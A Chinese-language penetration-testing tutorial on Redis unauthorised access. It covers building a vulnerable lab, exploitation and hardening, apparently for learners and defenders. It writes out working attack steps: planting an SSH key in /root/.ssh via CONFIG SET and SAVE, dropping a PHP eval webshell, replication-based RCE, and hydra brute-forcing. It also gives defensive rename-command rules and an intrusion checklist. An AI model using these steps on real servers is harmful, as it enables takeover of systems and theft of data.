Redis未授权访问漏洞:从原理到实战的渗透测试与安全加固指南

发布时间:2026/7/4 18:12:56

Redis未授权访问漏洞:从原理到实战的渗透测试与安全加固指南 1. 项目概述从零开始理解Redis未授权访问如果你刚开始接触网络安全或者渗透测试听到“Redis未授权访问”这个名词可能会觉得有点高大上甚至有点懵。别担心我第一次接触时也是这种感觉。简单来说这就像你家的保险柜Redis服务器忘了上锁没有设置密码和访问控制还把它放在了马路边绑定在了公网IP上任何人都能走过去打开它看看里面有什么甚至把里面的东西换成自己的。这个漏洞之所以在渗透测试和CTF比赛中频繁出现就是因为它太“经典”了——配置疏忽导致的后果往往非常严重而且利用方式直接是新手理解“配置即安全”这一理念的绝佳入口。在真实的网络环境中Redis作为一个高性能的内存数据库被广泛用于缓存、会话存储和消息队列。很多开发者和运维人员为了图省事或者在测试环境搭建后忘记修改配置就直接将其部署上线默认的配置恰恰就是“不设防”的。攻击者一旦发现这样的目标轻则可以窃取所有缓存数据可能包含用户敏感信息、业务逻辑数据重则可以直接在服务器上执行任意命令拿到整个服务器的控制权。对于想入门渗透测试的朋友来说掌握这个漏洞的原理、发现方法和利用手段不仅能帮你解决很多CTF题目更能让你深刻理解基础服务安全配置的重要性这是比任何工具使用都更底层的知识。2. 漏洞原理深度拆解为什么Redis会“门户大开”要利用一个漏洞首先得知道它为什么会产生。Redis未授权访问漏洞的核心根植于其默认安装配置和设计理念。2.1 默认配置的“原罪”Redis在安装完成后默认的配置文件redis.conf中存在几个关键设置共同导致了未授权访问的风险绑定地址bind默认配置通常是bind 127.0.0.1或者被注释掉。如果被注释掉Redis会监听服务器上所有可用的网络接口0.0.0.0这意味着除了本机其他任何能通过网络访问到这台服务器的机器都能连接它。很多运维人员为了远程管理方便会直接修改为bind 0.0.0.0却没有配合其他安全措施这就埋下了隐患。访问密码requirepass这个参数默认是被注释的也就是没有设置密码。客户端连接时无需任何认证。这是漏洞最直接的原因。保护模式protected-mode这是Redis 3.2版本后引入的一项安全特性。当Redis没有设置密码且绑定地址不是回环地址127.0.0.1时保护模式会生效默认拒绝来自外部的非本地连接。但是这个保护可以被绕过。如果配置文件中显式地设置了protected-mode no或者客户端在连接时通过特殊方式例如某些漏洞利用脚本与Redis交互保护模式就可能形同虚设。命令执行风险Redis提供了将数据持久化到磁盘的功能对应的命令是CONFIG SET可以设置持久化文件的路径和文件名SAVE或BGSAVE可以触发持久化。攻击者可以滥用这些功能将恶意代码如SSH公钥、Webshell写入到服务器的特定文件路径从而实现命令执行或权限提升。注意很多人以为把Redis放在内网就安全了实则不然。在内网横向移动攻击中未授权访问的Redis服务器常常是攻击者夺取内网核心服务器权限的跳板。一旦某台边缘服务器如Web服务器被攻破攻击者就可以利用它来扫描和攻击内网中其他存在同样配置问题的Redis服务。2.2 漏洞利用链的构成单纯能连接上Redis未授权访问只是第一步要构成真正的威胁还需要利用Redis的功能将其转化为代码执行。经典的利用链通常如下信息收集连接后使用INFO命令可以获取Redis服务器的详细信息包括版本、操作系统、数据目录等为后续利用做准备。写入SSH公钥Linux服务器原理Linux系统中用户可以将自己的SSH公钥写入~/.ssh/authorized_keys文件从而实现免密登录。操作攻击者生成一对SSH密钥然后通过Redis的SET命令将公钥内容写入一个键值对再使用CONFIG SET dir和CONFIG SET dbfilename将Redis的数据目录和持久化文件指向目标用户的.ssh目录和authorized_keys文件最后执行SAVERedis就会将内存中的数据即我们写入的公钥持久化到指定的文件中。这样攻击者就能直接用私钥SSH登录到服务器。写入Webshell存在Web应用的服务器原理如果服务器上同时运行着Web服务如Nginx、Apache并且知道Web根目录的路径。操作攻击者通过Redis写入一段恶意脚本代码如PHP的?php eval($_POST[‘cmd’]);?到一个键值对中。然后同样使用CONFIG SET命令将Redis的持久化路径设置为Web根目录并将持久化文件名设置为一个可访问的脚本文件如shell.php再执行SAVE。这样就在Web目录下生成了一个Webshell攻击者可以通过HTTP请求来执行任意系统命令。主从复制RCE更高版本的利用在Redis 4.x/5.x版本中主从复制功能可以被滥用。攻击者可以将自己的机器伪装成Redis主节点Master诱使目标Redis服务器Slave从攻击者控制的节点同步数据。攻击者可以在同步的数据中插入恶意模块从而在目标服务器上加载并执行恶意代码实现远程命令执行RCE。这种方式对Redis版本和配置有特定要求但威力更大。3. 环境搭建与靶场准备打造你的安全实验场理论懂了接下来就得动手。我强烈建议所有学习者在虚拟机环境中搭建靶场进行实验这是最安全、最有效的学习方式。3.1 实验环境规划我个人的实验环境通常如下你可以参考攻击机Kali Linux 2024.x。它预装了渗透测试所需的大部分工具包括nmap,hydra,redis-cli以及各种漏洞利用脚本。IP地址假设为192.168.1.100。靶机Ubuntu 22.04 LTS 或 CentOS 7。选择一款你熟悉的Linux发行版即可。我们需要在上面安装一个存在未授权访问漏洞的Redis服务。IP地址假设为192.168.1.200。网络确保两台虚拟机处于同一网络模式如NAT模式下的同一网段可以互相ping通。3.2 靶机Redis服务安装与漏洞配置在靶机192.168.1.200上执行以下操作安装Redis# Ubuntu/Debian sudo apt update sudo apt install redis-server -y # CentOS/RHEL sudo yum install epel-release -y sudo yum install redis -y配置漏洞环境关键步骤 编辑Redis主配置文件通常位于/etc/redis/redis.conf。sudo vim /etc/redis/redis.conf找到并修改以下几处使其处于不安全状态注释掉bind行或改为bind 0.0.0.0找到bind 127.0.0.1 ::1这一行在行首加上#注释掉它或者直接改为bind 0.0.0.0。这允许从任何IP连接。关闭保护模式找到protected-mode yes将其改为protected-mode no。在实验环境中我们主动关闭它来模拟老旧版本或配置错误。禁用密码确保requirepass foobared这一行是被注释的行首有#。如果没有就注释掉它。可选修改默认端口对于新手可以不改默认6379。如果想模拟非标准端口修改port 6379。重启Redis服务sudo systemctl restart redis-server # Ubuntu sudo systemctl restart redis # CentOS验证服务状态与监听sudo systemctl status redis # 查看服务是否运行正常 sudo netstat -antp | grep 6379 # 查看Redis是否在0.0.0.0:6379上监听你应该能看到类似tcp 0 0 0.0.0.0:6379 0.0.0.0:* LISTEN的输出。实操心得在生产环境中以上配置修改是绝对禁止的。这里只是为了创建一个有漏洞的实验靶机。务必确保你的靶机只在隔离的虚拟机或内网实验环境中运行切勿将配置错误的Redis暴露在公网。4. 渗透测试实战探测与利用漏洞环境准备好了现在让我们切换到攻击机Kali视角模拟一次完整的攻击流程。4.1 信息收集与漏洞探测在发起攻击前我们需要先发现目标。假设我们已经通过其他手段如子域名爆破、端口扫描全网段拿到了靶机的IP192.168.1.200。端口扫描确认服务 使用nmap进行快速扫描确认6379端口开放。nmap -sV -p 6379 192.168.1.200-sV参数尝试探测服务版本。如果看到6379/tcp open redis Redis key-value store说明Redis服务存在。尝试未授权连接 这是最直接的检测方式。使用Redis自带的客户端redis-cli进行连接。redis-cli -h 192.168.1.200 -p 6379如果连接成功并且直接出现了192.168.1.200:6379提示符可以执行INFO命令并成功返回服务器信息那么基本可以判定存在未授权访问漏洞。如果连接被拒绝或需要认证则会提示NOAUTH Authentication required或连接失败。使用自动化工具扫描 对于批量检测可以使用如hydra进行密码爆破如果怀疑有弱密码或者使用redis-rogue-server、RedisUnauthExploit等专门的漏洞利用工具进行探测和利用。不过对于初学者手动理解过程更重要。4.2 漏洞利用实战写入SSH公钥获取Shell假设我们通过redis-cli成功连接到了未授权的Redis。现在演示最经典的利用方式写入SSH公钥。在攻击机Kali上操作生成SSH密钥对如果已有可跳过ssh-keygen -t rsa -f /tmp/redis_key执行后会在/tmp目录下生成私钥redis_key和公钥redis_key.pub。格式化公钥 Redis在持久化时会在文件内容前后添加一些二进制格式信息。为了确保公钥能被正确解析我们需要在公钥内容前后加上换行。(echo -e \n\n; cat /tmp/redis_key.pub; echo -e \n\n) /tmp/redis_key_formatted.txt查看一下格式化后的内容它应该以空行开始和结束。通过Redis写入公钥# 连接Redis redis-cli -h 192.168.1.200 -p 6379 # 清空当前数据库可选避免干扰 192.168.1.200:6379 flushall # 设置一个键其值为我们格式化后的公钥内容 # 注意这里使用 cat 命令将文件内容通过管道传递给 redis-cli cat /tmp/redis_key_formatted.txt | redis-cli -h 192.168.1.200 -p 6379 -x set crackit上述命令中-x参数表示从标准输入stdin读取数据作为set命令的值。crackit是我们随意起的键名。配置Redis持久化路径到SSH目录 我们需要知道靶机上目标用户的.ssh目录路径。通常我们尝试Root用户。# 在redis-cli交互界面内操作 192.168.1.200:6379 CONFIG SET dir /root/.ssh/ OK 192.168.1.200:6379 CONFIG SET dbfilename authorized_keys OK这里将Redis的数据目录设置为/root/.ssh/将持久化数据库文件名设置为authorized_keys。保存数据到磁盘192.168.1.200:6379 SAVE OKSAVE命令会立即将内存中的数据同步保存到磁盘。执行成功后公钥就被写入了/root/.ssh/authorized_keys文件。使用私钥登录 退出redis-cli在Kali上尝试用私钥SSH登录靶机。chmod 600 /tmp/redis_key # 给私钥设置正确权限 ssh -i /tmp/redis_key root192.168.1.200如果一切顺利你将无需密码直接获得靶机的root shell。4.3 漏洞利用实战写入Webshell如果目标服务器同时是一个Web服务器并且我们知道其Web根目录例如/var/www/html我们可以尝试写入一个Webshell。准备Webshell内容 一个最简单的PHP一句话木马?php eval($_POST[‘cmd’]);?。通过Redis写入echo -e ‘\n\n?php eval($_POST[\’cmd\’]);?\n\n’ | redis-cli -h 192.168.1.200 -p 6379 -x set webshell配置路径并保存redis-cli -h 192.168.1.200 -p 6379 192.168.1.200:6379 CONFIG SET dir /var/www/html OK 192.168.1.200:6379 CONFIG SET dbfilename shell.php OK 192.168.1.200:6379 SAVE OK访问验证 在浏览器中访问http://192.168.1.200/shell.php如果页面空白但没有报错通常说明文件已存在。可以使用中国菜刀、蚁剑等工具或者直接用curl携带POST参数进行测试。curl -X POST http://192.168.1.200/shell.php -d “cmdsystem(‘whoami’);”如果返回了root则说明Webshell执行成功。注意事项写入Webshell的成功率取决于Web目录的权限。Redis进程通常以redis用户运行该用户需要有对Web目录的写权限。在实际渗透中可能需要先进行信息收集判断Web目录和权限。5. 漏洞修复与安全加固指南作为一名渗透测试人员不仅要懂得如何攻击更要懂得如何防御。发现漏洞后给出专业、可行的修复建议是体现你价值的关键。5.1 立即修复措施如果发现生产环境的Redis存在未授权访问应立即采取以下措施设置强密码 这是最有效、最直接的方法。编辑redis.conf文件找到requirepass行取消注释并设置一个高强度密码。requirepass YourSuperStrongPassword123!#密码应包含大小写字母、数字和特殊字符长度建议16位以上。修改后重启Redis服务。连接验证重启后客户端连接必须使用AUTH命令认证。redis-cli -h your_redis_ip your_redis_ip:6379 AUTH YourSuperStrongPassword123!#限制绑定IP网络隔离 除非必要Redis不应监听在公网IP上。修改bind配置只允许可信的IP连接。仅本地访问bind 127.0.0.1 ::1允许内网特定网段bind 127.0.0.1 ::1 192.168.1.100(添加特定IP)注意如果Redis需要被其他服务器访问如应用服务器应将其置于同一安全内网并绑定内网IP。启用保护模式 确保protected-mode设置为yes。在设置了密码和正确的bind地址后保护模式是最后一道防线。修改默认端口 将port从默认的6379改为一个非标准端口可以避免被互联网上的自动化扫描工具轻易发现。但这只是一种“隐蔽安全”不能替代认证和访问控制。重命名或禁用危险命令 在redis.conf中可以使用rename-command指令来重命名或禁用高危命令例如rename-command FLUSHALL “” # 禁用FLUSHALL命令 rename-command CONFIG “” # 禁用CONFIG命令 rename-command EVAL “” # 禁用EVAL命令 rename-command SHUTDOWN “” # 禁用SHUTDOWN命令将命令重命名为一个复杂的、难以猜测的字符串或者直接设置为空字符串来禁用。注意在修改前确保你了解这些命令的用途并测试你的应用是否依赖它们。5.2 长期安全加固策略以非root用户运行 在Linux中永远不要以root身份运行Redis服务。应该创建一个专用的、低权限的用户和用户组如redis:redis来运行Redis进程。这可以限制在漏洞被利用时攻击者获得的权限。文件系统权限控制 确保Redis的数据目录、日志目录和配置文件只有Redis运行用户有读写权限其他用户最多只读。chown -R redis:redis /var/lib/redis /var/log/redis /etc/redis chmod 700 /var/lib/redis chmod 644 /etc/redis/redis.conf使用防火墙 在操作系统层面或云平台安全组中严格限制访问Redis端口的源IP。只允许真正需要连接Redis的服务器IP访问6379端口。定期更新与漏洞监控 保持Redis版本更新到稳定版及时修复已知漏洞。关注Redis官方和安全社区的安全公告。启用审计日志 在redis.conf中配置loglevel和logfile并定期检查日志监控异常连接和命令执行。5.3 配置修改示例与验证以下是一个加固后的redis.conf关键部分示例# 只监听本地和特定内网IP bind 127.0.0.1 192.168.1.100 # 设置强密码 requirepass J8kL3$pQ9!zXw2Yv5B*mN # 启用保护模式 protected-mode yes # 以redis用户运行 daemonize yes user redis # 重命名危险命令 rename-command FLUSHALL “” rename-command CONFIG “b840fc02d524045429941cc15f59e41cb7be6c52” rename-command EVAL “” # 日志记录 loglevel notice logfile /var/log/redis/redis-server.log修改配置后务必使用redis-cli测试密码认证和命令是否正常工作并重启服务sudo systemctl restart redis。6. 渗透测试中的技巧与深度利用掌握了基础利用后在真实的渗透测试或CTF比赛中你可能会遇到一些变种情况。这里分享几个进阶技巧和思路。6.1 绕过“保护模式”与认证尝试保护模式探测如果连接时被拒绝返回DENIED Redis is running in protected mode说明目标Redis版本3.2且启用了保护模式。但这不绝对安全。可以尝试扫描服务器上是否存在其他漏洞如SSRF通过Web应用内部去连接Redis因为保护模式不限制来自本机127.0.0.1的连接。弱口令爆破如果发现需要密码可以尝试弱口令爆破。使用hydra工具hydra -P /usr/share/wordlists/rockyou.txt redis://192.168.1.200字典可以选用常见的弱密码字典如rockyou.txt。6.2 利用主从复制实现RCERedis 4.x/5.x当目标Redis版本较高且传统的写文件方法因目录权限等问题失败时可以尝试主从复制RCE。其核心是攻击者搭建一个恶意的Redis主节点诱使目标Redis从节点同步数据在同步的数据中包含恶意模块。工具准备可以使用redis-rogue-server或RedisModules-ExecuteCommand等开源工具。这些工具会启动一个伪造的Redis主服务器。利用过程攻击者运行工具指定要执行的系统命令如id。工具会生成一个恶意的Redis模块.so文件并启动一个Redis服务。在目标Redis上执行SLAVEOF 攻击者IP 攻击者端口使其成为攻击者Redis的从节点。目标Redis会从攻击者处同步数据加载恶意模块。攻击者通过工具发送命令在目标Redis上执行预设的系统命令。限制条件目标Redis需要是以模块化方式编译的默认通常是并且能够出网连接到攻击者的恶意主节点IP和端口。6.3 信息收集与内网渗透即使无法直接getshell未授权访问的Redis也是一个宝贵的信息源。INFO命令获取服务器版本、操作系统、内存使用、客户端连接数、密钥空间信息等。这些信息有助于判断服务器重要性、寻找其他突破口。KEYS *或SCAN命令列出所有键名。可能会发现包含敏感信息的键如session:*,user:*,config:*等直接GET这些键可能泄露业务数据、用户凭证、配置信息。CLIENT LIST命令查看当前所有连接到Redis的客户端有助于发现内网其他服务器的IP为内网横向移动提供目标。6.4 在CTF中的常见变形CTF题目中Redis未授权访问常常与其他考点结合结合SSRF题目提供一个存在SSRF漏洞的Web接口让你通过该接口去攻击内网中一个未授权访问的Redis。你需要构造特殊的URL协议如gopher://或dict://来向Redis发送命令。权限限制Redis运行在低权限用户下无法写入/root/.ssh/或Web目录。这时需要你灵活变通比如尝试写入定时任务目录/var/spool/cron/crontabs/如果redis用户有写权限或者利用~/.bashrc,/etc/profile.d/等文件。目录猜解不知道Web绝对路径。可以通过Redis的CONFIG GET dir命令获取当前Redis数据目录或者结合其他信息泄露漏洞获取路径。7. 防御视角下的深度思考与排查清单从防御者和安全运维的角度看仅仅修复一个漏洞点是不够的需要建立纵深防御和持续监控的体系。7.1 安全配置核查清单定期使用以下清单对线上Redis实例进行安全检查检查项安全配置检查命令/方法风险等级认证密码已设置强密码redis-cli -h host -p port AUTH password测试高危绑定地址仅绑定必要IP非0.0.0.0netstat -antp | grep :6379查看监听IP高危保护模式处于启用状态yes配置文件检查或尝试未授权连接中危运行用户非root用户如redisps aux | grep redis-server中危危险命令已重命名或禁用配置文件检查rename-command中危网络访问防火墙/安全组限制源IP尝试从非授权IP连接高危日志审计日志开启并定期审查检查/var/log/redis/redis.log低危版本信息使用最新稳定版redis-cli -v或INFO命令中危7.2 入侵迹象排查如果怀疑Redis已被入侵应立即检查异常连接查看Redis日志或使用CLIENT LIST命令寻找来源可疑的客户端IP。可疑键值使用KEYS *快速浏览查找异常命名的键如crackit,backdoor,shell等。文件系统改动检查/root/.ssh/authorized_keys、Web目录下是否有近期创建的陌生文件如.php,.jsp后缀。进程与网络使用netstat -antp查看是否有未知的外连使用ps aux查看是否有可疑进程。定时任务检查/etc/crontab、/var/spool/cron/等位置是否有恶意任务。7.3 架构层面的安全建议对于企业级应用使用代理或中间件考虑使用 Twemproxy、Codis 或 Redis Cluster 的代理层将Redis实例隐藏在内网对外只暴露代理接口并在代理层实现统一的认证和审计。启用TLS加密对于跨机房或对安全要求极高的场景配置Redis使用TLS加密通信防止流量被窃听。定期安全评估将Redis纳入常规的漏洞扫描和渗透测试范围使用Nessus、OpenVAS等工具或聘请专业团队进行测试。最小权限原则应用程序连接Redis的账户只赋予其必要的命令权限通过密码区分或使用Redis 6.0的ACL功能。Redis未授权访问漏洞是一个“古老”但远未消失的威胁。它的存在不断提醒我们安全往往始于最基础的配置。对于渗透测试学习者而言吃透这个漏洞你就掌握了“配置安全”的核心理念、信息收集、漏洞利用链构建和多种getshell方法这是你知识体系中坚实的一块基石。而在防御端严格的配置管理、网络隔离和持续监控是让这类简单漏洞无处遁形的根本。下次当你部署任何一个服务时不妨先问自己一句“它的默认配置安全吗”

相关新闻